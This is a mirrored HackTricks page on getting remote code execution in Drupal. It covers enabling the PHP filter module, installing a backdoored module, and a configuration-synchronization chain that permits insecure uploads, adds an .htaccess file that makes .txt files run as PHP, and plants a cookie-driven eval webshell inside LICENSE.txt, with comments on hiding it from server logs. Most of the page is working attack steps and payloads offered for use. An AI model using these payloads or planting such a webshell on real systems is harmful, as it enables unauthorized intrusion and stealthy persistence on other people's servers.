mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
275 lines
12 KiB
Markdown
275 lines
12 KiB
Markdown
# Drupal RCE
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## With PHP Filter Module
|
||
|
||
{% hint style="warning" %}
|
||
In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." But from version 8 this module is not installed by default.
|
||
{% endhint %}
|
||
|
||
1. Go to **/modules/php** and if a 403 error is returned then the **PHP filter plugin is installed and you can continue**
|
||
1. If not, go to `Modules` and check on the box of `PHP Filter` and then on `Save configuration`
|
||
2. Then, to exploit it, click on `Add content` , then Select `Basic Page` or `Article` and write the **PHP backdoor**, then select `PHP` code in Text format and finally select `Preview`
|
||
3. To trigger it, just access the newly created node:
|
||
|
||
```bash
|
||
curl http://drupal.local/node/3
|
||
```
|
||
|
||
## Install PHP Filter Module
|
||
|
||
{% hint style="warning" %}
|
||
In current versions it's no longer possible to install plugins by only having access to the web after the default installation.
|
||
{% endhint %}
|
||
|
||
From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**.
|
||
|
||
1. Download the most recent version of the module from the Drupal website.
|
||
1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
|
||
2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
|
||
3. Click on **`Browse`**, select the file from the directory we downloaded it to, and then click **`Install`**.
|
||
4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.
|
||
|
||
## Backdoored Module
|
||
|
||
{% hint style="warning" %}
|
||
In current versions it's no longer possible to install plugins by only having access to the web after the default installation.
|
||
{% endhint %}
|
||
|
||
It was possible to **download** a **module**, add a **backdoor** to it and **install** it. For example, downloading [**Trurnstile**](https://www.drupal.org/project/turnstile) module in compressed format, creating a new PHP backdoor file inside of it, allowing the accessing of the PHP file with a `.htaccess` file:
|
||
|
||
```html
|
||
<IfModule mod_rewrite.c>
|
||
RewriteEngine On
|
||
RewriteBase /
|
||
</IfModule>
|
||
```
|
||
|
||
And then going to **`http://drupal.local/admin/modules/install`** to install the backdoored module and access **`/modules/turnstile/back.php`** to execute it.
|
||
|
||
## Backdooring Drupal with Configuration synchronization <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||
|
||
**Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||
|
||
### Part 1 (activation of _Media_ and _Media Library_)
|
||
|
||
In the _Extend_ menu (/admin/modules), you can activate what appear to be plugins already installed. By default, plugins _Media_ and _Media Library_ don’t appear to be activated, so let’s activate them.
|
||
|
||
Before activation:
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
After activation:
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Part 2 (leveraging feature _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||
|
||
We’ll leverage the _Configuration synchronization_ feature to dump (export) and upload (import) Drupal configuration entries:
|
||
|
||
* /admin/config/development/configuration/single/export
|
||
* /admin/config/development/configuration/single/import
|
||
|
||
**Patch system.file.yml**
|
||
|
||
Let’s start by patching the first entry `allow_insecure_uploads` from:
|
||
|
||
File: system.file.yml
|
||
|
||
```
|
||
|
||
...
|
||
|
||
allow_insecure_uploads: false
|
||
|
||
...
|
||
|
||
```
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
To:
|
||
|
||
File: system.file.yml
|
||
|
||
```
|
||
|
||
...
|
||
|
||
allow_insecure_uploads: true
|
||
|
||
...
|
||
|
||
```
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Patch field.field.media.document.field\_media\_document.yml**
|
||
|
||
Then, patch the second entry `file_extensions` from:
|
||
|
||
File: field.field.media.document.field\_media\_document.yml
|
||
|
||
```
|
||
|
||
...
|
||
|
||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
||
...
|
||
```
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
To:
|
||
|
||
File: field.field.media.document.field\_media\_document.yml
|
||
|
||
```
|
||
...
|
||
|
||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
||
...
|
||
|
||
```
|
||
|
||
> I don’t use it in this blogpost but it is noted that it is possible to define the entry `file_directory` in an arbitrary way and that it is vulnerable to a path traversal attack (so we can go back up within the Drupal filesystem tree).
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Part 3 (leveraging feature _Add Document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||
|
||
The last step is the simplest, and is broken down into two sub-steps. The first is to upload a file in .htaccess format to leverage the Apache directives and allow .txt files to be interpreted by the PHP engine. The second is to upload a .txt file containing our payload.
|
||
|
||
File: .htaccess
|
||
|
||
```
|
||
<Files *>
|
||
SetHandler application/x-httpd-php
|
||
</Files>
|
||
|
||
# Vroum! Vroum!
|
||
# We reactivate PHP engines for all versions in order to be targetless.
|
||
<IfModule mod_php.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
<IfModule mod_php7.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
<IfModule mod_php5.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
```
|
||
|
||
Why is this trick cool?
|
||
|
||
Because once the Webshell (that we’ll call LICENSE.txt ) is dropped onto the Web server, we can transmit our commands via `$_COOKIE` and in the Web server logs, this will show up as a legitimate GET request to a text file.
|
||
|
||
Why name our Webshell LICENSE.txt?
|
||
|
||
Simply because if we take the following file, for example [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (which is already present in the Drupal core), we have a file of 339 lines and 17.6 KB in size, which is perfect for adding a small snippet of PHP code in the middle (since the file is big enough).
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
File: Patched LICENSE.txt
|
||
|
||
```txt
|
||
|
||
...
|
||
|
||
this License, you may choose any version ever published by the Free Software
|
||
Foundation.
|
||
|
||
<?php
|
||
|
||
# We inject our payload into the cookies so that in the logs of the compromised
|
||
# server it shows up as having been requested via the GET method, in order to
|
||
# avoid raising suspicions.
|
||
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||
} else {
|
||
phpinfo();
|
||
}
|
||
}
|
||
|
||
?>
|
||
|
||
10. If you wish to incorporate parts of the Program into other free
|
||
programs whose distribution conditions are different, write to the author
|
||
|
||
...
|
||
|
||
```
|
||
|
||
#### **Part 3.1 (upload file .htaccess)**
|
||
|
||
First, we leverage the _Add Document_ (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Part 3.2 (upload file LICENSE.txt)**
|
||
|
||
Then, we leverage the _Add Document_ (/media/add/document) feature again to upload a Webshell hidden within a license file.
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||
|
||
The last part consists of interacting with the Webshell.
|
||
|
||
As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
And as you can see in the logs, it looks like only a txt file has been requested.
|
||
|
||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Thank you for taking the time to read this article, I hope it will help you get some shells.
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|